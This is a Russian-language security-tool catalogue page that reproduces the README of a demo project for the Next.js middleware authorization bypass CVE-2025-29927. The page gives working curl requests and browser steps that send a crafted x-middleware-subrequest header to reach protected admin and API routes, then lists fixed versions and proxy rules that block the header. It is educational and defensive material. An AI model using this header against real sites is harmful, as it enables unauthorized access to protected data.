Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/lstudlo/nextjs-cve-demo
Аутентификация и авторизацияАнализ уязвимостейЭксплуатация веб-приложенийТестирование безопасности APIНеправильная КонфигурацияОбучение и Образование
GitHublstudlo/nextjs-cve-demo

nextjs-cve-demo

Демонстрация уязвимости обхода авторизации Middleware в Next.js (CVE-2025-29927), позволяющей неавторизованным пользователям получать доступ к защищённой информации.

Репозиторий
231 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Пример: обход авторизации в middleware Next.js (CVE-2025-29927)

Этот репозиторий содержит пример проекта, демонстрирующий уязвимость обхода авторизации в middleware Next.js (CVE-2025-29927). Эта уязвимость позволяет неавторизованным пользователям получать доступ к защищённым ресурсам.

Обзор уязвимости

CVE-2025-29927 — это серьёзная уязвимость безопасности (оценка CVSS: 9.1), затрагивающая систему middleware в Next.js. Злоумышленник может полностью обойти проверки безопасности middleware, добавив в HTTP-запрос специально сформированный заголовок x-middleware-subrequest.

Затронутые версии

  • Next.js 11.1.4 – 13.5.6
  • Версии Next.js 14.x ниже 14.2.25
  • Версии Next.js 15.x ниже 15.2.3

Влияние уязвимости

  • Обход авторизации: злоумышленник может получить доступ к защищённым путям (например, /admin) без аутентификации
  • Обход защиты API: возможен доступ к защищённым конечным точкам API (например, /api/confidential)
  • Обход защитных заголовков: если такие заголовки безопасности, как CSP, HSTS, устанавливаются в middleware, они также будут обойдены

Предварительные требования

  1. Установлены Node.js и npm
  2. Перейдите в папку проекта и выполните npm install для установки зависимостей
  3. Выполните npm run dev для запуска сервера разработки Next.js
  4. Откройте в браузере http://localhost:3000 — вы увидите текущий вид сайта

Понимание принципа уязвимости

Next.js использует внутренний заголовок x-middleware-subrequest для предотвращения бесконечных циклов, возникающих из-за рекурсивных вызовов middleware. Однако этот заголовок может быть использован внешними запросами. Когда запрос содержит данный заголовок и достигает максимальной глубины рекурсии (MAX_RECURSION_DEPTH), Next.js полностью пропускает выполнение middleware.

Как воспроизвести уязвимость

Шаг 1: Обычный доступ к защищённому пути (будет заблокирован)

Сначала попробуйте обычный доступ к защищённым путям:

root@kitploit:~
# 訪問受保護的管理員頁面
curl http://localhost:3000/admin/dashboard -v

Ожидаемый результат: произойдёт перенаправление на страницу входа (302 redirect to /login)

root@kitploit:~
# 訪問受保護的 API
curl http://localhost:3000/api/confidential -v

Ожидаемый результат: возвращается ошибка 401 Unauthorized

Шаг 2: Обход middleware с помощью уязвимости

Теперь используйте специально сформированный заголовок для обхода middleware:

root@kitploit:~
# 繞過 /admin 路徑保護
curl http://localhost:3000/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

Ожидаемый результат: успешный доступ к содержимому страницы администратора (200 OK)

root@kitploit:~
# 繞過 /api/confidential 保護
curl http://localhost:3000/api/confidential \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

Ожидаемый результат: успешный доступ к API и получение конфиденциальных данных (200 OK)

Шаг 3: Тестирование через браузер

Вы также можете протестировать уязвимость с помощью инструментов разработчика в браузере:

  1. Откройте инструменты разработчика в браузере (F12)
  2. Перейдите на вкладку Network
  3. Добавьте заголовок с помощью расширения ModHeader или аналогичного инструмента:
    • Header Name: x-middleware-subrequest
    • Header Value: middleware:middleware:middleware:middleware:middleware
  4. Перейдите по адресу http://localhost:3000/admin/dashboard
  5. Вы должны увидеть содержимое страницы администратора, а не перенаправление

Объяснение уязвимости

Когда middleware получает запрос с заголовком x-middleware-subrequest:

  1. Next.js считает, что это внутренний рекурсивный вызов
  2. Когда значение заголовка содержит достаточное количество маркеров middleware (5 повторений), срабатывает ограничение MAX_RECURSION_DEPTH
  3. Чтобы избежать бесконечного цикла, Next.js полностью пропускает выполнение middleware
  4. Запрос напрямую попадает на целевой маршрут, обходя все проверки безопасности

Способы устранения

1. Обновите версию Next.js

Обновите до исправленной версии:

  • 12.x: обновитесь до 12.3.5 или выше
  • 13.x: обновитесь до 13.5.9 или выше
  • 14.x: обновитесь до 14.2.25 или выше
  • 15.x: обновитесь до 15.2.3 или выше

2. Временные меры смягчения

Если немедленное обновление невозможно, можно блокировать запросы с заголовком x-middleware-subrequest на уровне обратного прокси (Nginx, Apache и т. д.):

Пример конфигурации Nginx:

root@kitploit:~
location / {
    if ($http_x_middleware_subrequest) {
        return 403;
    }
    proxy_pass http://localhost:3000;
}

Пример конфигурации Apache:

root@kitploit:~
RequestHeader unset x-middleware-subrequest

3. Эшелонированная защита

Помимо middleware, добавьте проверку аутентификации и в обработчики маршрутов:

root@kitploit:~
// 在 API 路由中添加額外的認證檢查
export async function GET(request) {
    // 不要只依賴 middleware,在這裡也檢查認證
    if (!isAuthenticated(request)) {
        return new Response('Unauthorized', { status: 401 });
    }
    // ... 處理請求
}

Справочные материалы

  • Next.js Security Advisory (GHSA-f82v-jwr5-mffw)
  • Детали CVE-2025-29927
  • Документация по middleware Next.js
Скачать инструмент